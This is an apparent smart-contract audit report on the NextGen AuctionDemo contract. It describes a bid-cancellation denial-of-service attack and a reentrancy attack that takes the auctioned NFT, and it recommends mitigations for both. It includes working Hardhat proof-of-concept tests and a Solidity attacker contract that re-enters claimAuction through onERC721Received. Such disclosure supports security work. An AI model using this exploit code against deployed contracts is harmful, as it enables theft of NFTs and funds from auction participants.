NextGen - ciphermarco's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L58

Vulnerability details

Impact

The AuctionDemo contract is susceptible to Denial of Service (DoS) and manipulation through malicious bids, stemming from its approach to accepting and managing bids. Exploiting this weakness, an attacker can not only block other users from placing bids but also secure a winning position in the auction with the minimum bid amount.

Proof of Concept

The participateToAuction function reverts if msg.value is not greater than the current highest bid. However, bids can be canceled at any point just before the auction's end time using the functions cancelBid and cancelAllBids. Given this, the following steps can be executed:

1. The attacker initiates a bid with a negligible amount.
2. Following this, possibly within the same transaction, the attacker places a bid with an exceptionally high amount, significantly surpassing the expected market value of the NFT.
3. Any economically motivated user is effectively barred from bidding, as the bid amount set by the attacker is prohibitively high. Even if a user attempts to bid such amount, the attacker stands to lose nothing in the end.
4. Just before the auction concludes, the attacker calls the cancelBid function, specifying the index of the highest bid.
5. The auction concludes, and the NFT is transferred to the attacker at a minimal cost. If, against the odds, another user manages to call participateToAuction with a higher bid in an attempt to outbid the attacker, the attacker incurs no loss. Yet, the NFT is likely to be sold for an unfairly low price.

In the best-case scenario, users will be blocked from participating in the auction, making a fair bidding process unattainable. In the worst-case scenario, the attacker can acquire the NFT at an unfairly low price.

It is important to note that this serves as an illustrative example featuring extreme values for clarity. A sophisticated attack might employ refined calculations for subtler and gradual manipulations, achieving a similar outcome with lesser gains and reduced detectability. Regardless, such manipulations would compromise the integrity of the auction, resulting in a loss of value.

Demonstration

Create a new file at hardhat/test/randomizerRevert.js and add the following content:

const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
  const { expect } = require("chai")
  const { ethers, network } = require("hardhat")
  const fixturesDeployment = require("../scripts/fixturesDeployment.js")
  
  let signers
  let contracts
  
describe.only("Audit: Auction DoS Manipulation", function() {
    before(async function () {
        ;({ signers, contracts } = await loadFixture(fixturesDeployment))

        await contracts.hhCore.createCollection(
            "Test Collection 1",
            "Artist 1",
            "For testing",
            "www.test.com",
            "CCO",
            "https://ipfs.io/ipfs/hash/",
            "",
            ["desc"],
        )

        await contracts.hhAdmin.registerCollectionAdmin(
            1,
            signers.addr1.address,
            true,
        )
    
        await contracts.hhCore.connect(signers.addr1).setCollectionData(
            1,                      // _collectionID
            signers.addr1.address,  // _collectionArtistAddress
            2,                      // _maxCollectionPurchases
            10000,                  // _collectionTotalSupply
            0,                      // _setFinalSupplyTimeAfterMint
        )

        await contracts.hhCore.addMinterContract(
            contracts.hhMinter,
        )

        await contracts.hhCore.addRandomizer(
            1, contracts.hhRandomizer,
        )

        await contracts.hhMinter.setCollectionCosts(
            1, // _collectionID
            0, // _collectionMintCost
            0, // _collectionEndMintCost
            0, // _rate
            1, // _timePeriod
            1, // _salesOptions
            '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
        )

        await contracts.hhMinter.setCollectionPhases(
            1,            // _collectionID
            100,          // _allowlistStartTime
            3333333333,   // _allowlistEndTime
            100,          // _publicStartTime
            3333333333,   // _publicEndTime
            "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
        );


        const auctionFactory = await ethers.getContractFactory("auctionDemo");
        contracts.auction = await auctionFactory.deploy(
            contracts.hhMinter.getAddress(), contracts.hhCore.getAddress(), contracts.hhAdmin.getAddress()
        );
    })

    it("DoS and manipulate the auction", async function() {
        // Addresses and attacker's balance
        const victim = signers.addr1;
        const attacker = signers.addr2;
        const attackerStartBalance = await ethers.provider.getBalance(attacker);

        // Reusable parameters
        const auctionEndTime = 3333333333;
        const tokenId = 10_000_000_000;

        // Mint a token and send it to auction
        await contracts.hhMinter.mintAndAuction(
            victim.address, // _recipient
            "auction",      // _tokenData
            0,              // _saltfun_o
            1,              // _collectionID
            auctionEndTime, // _auctionEndTime
        );
        // Approve the Auction contract to move the token
        await contracts.hhCore.connect(victim).approve(contracts.auction.getAddress(), tokenId)
        
        // 1. First, we lock the the auction by bidding both a very small and a very high amount
        contracts.auction.connect(attacker).participateToAuction(tokenId, {value: 1}); // 1 wei
        contracts.auction.connect(attacker).participateToAuction(tokenId, {value: 50000000000000000000n}) // 50 ether

        // 2. Other economically motivated users are effectively locked from bidding.
        //    But, if they bid a higher value, the attacker will lose nothing.
        await expect(
            contracts.auction.participateToAuction(tokenId, {value: 1000000000000000000n}) // 1 ether
        ).to.be.revertedWithoutReason();

        await expect(
            contracts.auction.participateToAuction(tokenId, {value: 10000000000000000000n}) // 10 ether
        ).to.be.revertedWithoutReason();

        // Mines a block to simulate passage of time...
        const before15 = auctionEndTime - (60 * 15);
        await network.provider.request({
            method: "evm_mine",
            params: [before15],
        });

        // 3. Attacker waits and, when the auction's end is near enough, cancels the highest bid
        await contracts.auction.connect(attacker).cancelBid(tokenId, 1)

        // Ends the auction...
        await network.provider.request({
            method: "evm_mine",
            params: [auctionEndTime],
        });

        // 4. Auction has ended, attacker can now claim auction and pay a smaller value
        await contracts.auction.connect(attacker).claimAuction(tokenId);

        // 5. Attacker owns the NFT and has spent a negligible amount
        expect(await contracts.hhCore.ownerOf(tokenId)).to.equal(attacker.address);

        // On my side, I have consistently got 474316140498500 wei/0.0004743161404985 ether.
        // Since I'm not really sure if these values vary in other Hardhat setups and versions, I'm testing
        // for a higher, but still negligible, amount. In case this test fails in your setup, please, make
        // sure `attackerSpent` is not another negligible amount, but higher than the tested below.
        const attackerSpent = attackerStartBalance - await ethers.provider.getBalance(attacker);
        expect(attackerSpent).to.be.below(1000000000000000); // Attacker has spent below 0.001 ETH
    })
})

Next, since we are using .only to only run our test, execute the following command from within the hardhat directory:

$ npx hardhat test

Tools Used

Manual: code editor, Hardhat.

Recommended Mitigation Steps

One potential quick solution might involve temporarily locking the bidded funds until the conclusion of the auction, serving as a deterrent against attackers attempting this exploit.

Alternatively, a more intricate solution could entail restructuring the auctionInfoData to utilise a map instead of an array, allowing any msg.value for bidding. This approach would need to assign each msg.value to a distinct temporal priority queue to address equal bids. At the conclusion of the auction, the first bidder to have placed the highest bid in their bucket would emerge as the winner, rendering the exploit ineffective. As an added convenience, you can include a boolean parameter, giving users the option to revert the transaction in case there is a higher bid already.

Regardless of the chosen solution, viable options exist that will not compromise user experience or impede economic efficiency.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L125 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L135

Vulnerability details

Impact

The auctionDemo contract is susceptible to a re-entrancy attack, allowing the attacker to steal the bidded NFT while spending only a negligible amount in fees. Additionally, the attacker may need to pay fees in a MEV (Miner Extractable Value) context to increase the likelihood of success.

The most challenging but straightforward condition for the attack is to execute the call to claimAuction within a block where the block.timestamp is equal to the auctionEndTime. Given the considerable flexibility of timestamps in mined blocks and the low risk for the attacker, a MEV operation can fulfill this condition. In this scenario, the attacker would offer a premium for a transaction that will revert unless it is mined with the desired block.timestamp. Alternatively, an attacker equipped with validation power, can strategically plan his attack around this power.

Proof of Concept

The complete exploit is enabled by multiple issues. It's important to note that each of these individual issues may also pose a risk for other, less severe attacks.

The first issue is claimAuction's failure to update the auctionInfoData[_tokenid][i].status variable to false prior to executing transfers and handling over execution to the receiver:

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); // <--- Possible Re-entrancy, with status still `true`
                (bool success, ) = payable(owner()).call{value: highestBid}(""); // <--- Possible Re-entrancy, with status still `true`
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); // <--- Possible Re-entrancy, with status still `true`
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

The second issue lies in the fact that both claimAuction and the functions responsible for cancelling bids (cancelBid and cancelAllBids) permit an overlap in time, allowing their block.timestamp require statements to simultaneously pass.

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105

        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L125

        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L135

        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

The final issue pertains to the unchecked return value of low-level calls in the functions claimAuction, cancelBid, and cancelAllBids. Under certain conditions, this could serve as a final deterrent by reverting when the auctionDemo contract is unable to fulfill its obligations to a bidder or the seller. Another problem caused by this is that if there is any failed payments, the funds are permanently stuck in the contract.

All of this together opens the possibility for the receiver to call cancelBid or cancelAllBids and reclaim the bidded balance while claimAuction is executing. A losing bidder could exploit this vulnerability to double his balance, but the more interesting scenario is when the winner use this vulnerability to steal the NFT while incurring only a negligible amount in fees. This last attack is precisely what the executable PoC will showcase.

Demonstration

For clarity, let us perform a quick test in the codebase.

Create a new file at hardhat/smart-contracts/audit/auctionReentrancy.sol and add the following content:

pragma solidity ^0.8.19;

import "../IERC721.sol";

interface IAuction {
    function participateToAuction(uint256 _tokenid) external payable;
    function claimAuction(uint256 _tokenid) external;
    function cancelAllBids(uint256 _tokenid) external;
}

contract AuctionReentrancy {
    address attacker;
    IAuction auction;
    uint256 endTime;

    constructor(address _attacker, address _auction) {
        attacker = _attacker;
        auction = IAuction(_auction);
    }

    function bid(uint256 _tokenId) external payable {
        auction.participateToAuction{value: msg.value}(_tokenId);
    }

    function attack(uint256 _tokenId, uint256 _endTime) external {
        endTime = _endTime;
        auction.claimAuction(_tokenId);
    }

    function onERC721Received(address, address, uint256 _id, bytes memory) external returns (bytes4) {
        if (block.timestamp == endTime) {
            auction.cancelAllBids(_id);
        }
        IERC721(msg.sender).safeTransferFrom(address(this), attacker, _id);
        return this.onERC721Received.selector;
    }

    receive() external payable {
        (bool success, ) = payable(attacker).call{value: msg.value}("");
        require(success, "Payment failed");
    }
}

Additionally, create the Hardhat test file at hardhat/test/predictablyRandom.js with the following content:

const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
  const { expect } = require("chai")
  const { ethers, network } = require("hardhat")
  const fixturesDeployment = require("../scripts/fixturesDeployment.js")
  
  let signers
  let contracts
  
describe.only("Audit: Auction Re-entrancy", function() {
    before(async function () {
        ;({ signers, contracts } = await loadFixture(fixturesDeployment))

        await contracts.hhCore.createCollection(
            "Test Collection 1",
            "Artist 1",
            "For testing",
            "www.test.com",
            "CCO",
            "https://ipfs.io/ipfs/hash/",
            "",
            ["desc"],
        )

        await contracts.hhAdmin.registerCollectionAdmin(
            1,
            signers.addr1.address,
            true,
        )
    
        await contracts.hhCore.connect(signers.addr1).setCollectionData(
            1,                      // _collectionID
            signers.addr1.address,  // _collectionArtistAddress
            2,                      // _maxCollectionPurchases
            10000,                  // _collectionTotalSupply
            0,                      // _setFinalSupplyTimeAfterMint
        )

        await contracts.hhCore.addMinterContract(
            contracts.hhMinter,
        )

        await contracts.hhCore.addRandomizer(
            1, contracts.hhRandomizer,
        )

        await contracts.hhMinter.setCollectionCosts(
            1, // _collectionID
            0, // _collectionMintCost
            0, // _collectionEndMintCost
            0, // _rate
            1, // _timePeriod
            1, // _salesOptions
            '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
        )

        await contracts.hhMinter.setCollectionPhases(
            1,            // _collectionID
            100,          // _allowlistStartTime
            3333333333,   // _allowlistEndTime
            100,          // _publicStartTime
            3333333333,   // _publicEndTime
            "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
        );


        const auctionFactory = await ethers.getContractFactory("auctionDemo");
        contracts.auction = await auctionFactory.deploy(
            contracts.hhMinter.getAddress(), contracts.hhCore.getAddress(), contracts.hhAdmin.getAddress()
        );

        const reentrancyFactory = await ethers.getContractFactory("AuctionReentrancy");
        contracts.reentrancy = await reentrancyFactory.deploy(
            signers.addr2.address, // Attacker's address
            contracts.auction.getAddress(),
        );
    })

    it("Perform a successful re-entrancy attack", async function() {
        // Addresses and attacker's balance
        const victim = signers.addr1;
        const attacker = signers.addr2;
        const attackerStartBalance = await ethers.provider.getBalance(attacker);

        // Reusable parameters
        const auctionEndTime = 3333333333;
        const tokenId = 10_000_000_000;

        // Mint a token and send it to auction
        await contracts.hhMinter.mintAndAuction(
            victim.address, // _recipient
            "auction",      // _tokenData
            0,              // _saltfun_o
            1,              // _collectionID
            auctionEndTime, // _auctionEndTime
        );
        // Approve the Auction contract to move the token
        await contracts.hhCore.connect(victim).approve(contracts.auction.getAddress(), tokenId)

        // Simulating a normal users participating in the auction just because...
        contracts.auction.participateToAuction(tokenId, {value: 1000000000000000000n});
        
        // 1. Eventually the attacker contract bids a winning bid. Prefer a "fair" or cheaper price for this attack as we risk buying the NFT.
        await contracts.reentrancy.connect(attacker).bid(tokenId, {value: 2000000000000000000n}); // 2 ether

        // 2. Sets the next block timestamp to simulate conditions necessary to the attack.
        await network.provider.request({
            method: "evm_setNextBlockTimestamp",
            params: [auctionEndTime],
        });

        // 3. Attacker 
        const bidIndex = 1;
        await contracts.reentrancy.connect(attacker).attack(tokenId, auctionEndTime);

        // 4. Attacker owns the NFT without paying the full price for it
        expect(await contracts.hhCore.ownerOf(tokenId)).to.equal(attacker.address);

        // On my side, I have consistently got 389346667624235 wei/0.000389346667624235 ether.
        // Since I'm not really sure if these values vary in other Hardhat setups and versions, I'm testing
        // for a higher, but still negligible, amount. In case this test fails in your setup, please, make
        // sure `attackerSpent` is not another negligible amount, but higher than the tested below.
        const attackerSpent = attackerStartBalance - await ethers.provider.getBalance(attacker);
        expect(attackerSpent).to.be.below(1000000000000000); // Attacker has spent below 0.001 ETH
    })
})

Next, since we are using .only to only run our test, execute the following command from within the hardhat directory:

$ npx hardhat test

Tools Used

Manual: code editor, Hardhat.

Recommended Mitigation Steps

• Follow the Checks-Effects-Interaction (CEI) pattern. In claimAuction, update auctionInfoData[_tokenid][i].status before performing any external calls;
• Do no use equality in both >= and <= in the require statements as this allows for overlap. For example, use and stick to <= (less than or equal to the auctionEndTime) and > (greate than auctionEndTime);
• Check the return value of external calls, and decide what to do with them (e.g. revert a status change). Also, consider safer functions.
• Consider the approach to follow: reverting the whole claimAuction transaction in case of error or storing failed payments to allow them to be re-tried, instead of locking funds in the contract.

Assessed type

Reentrancy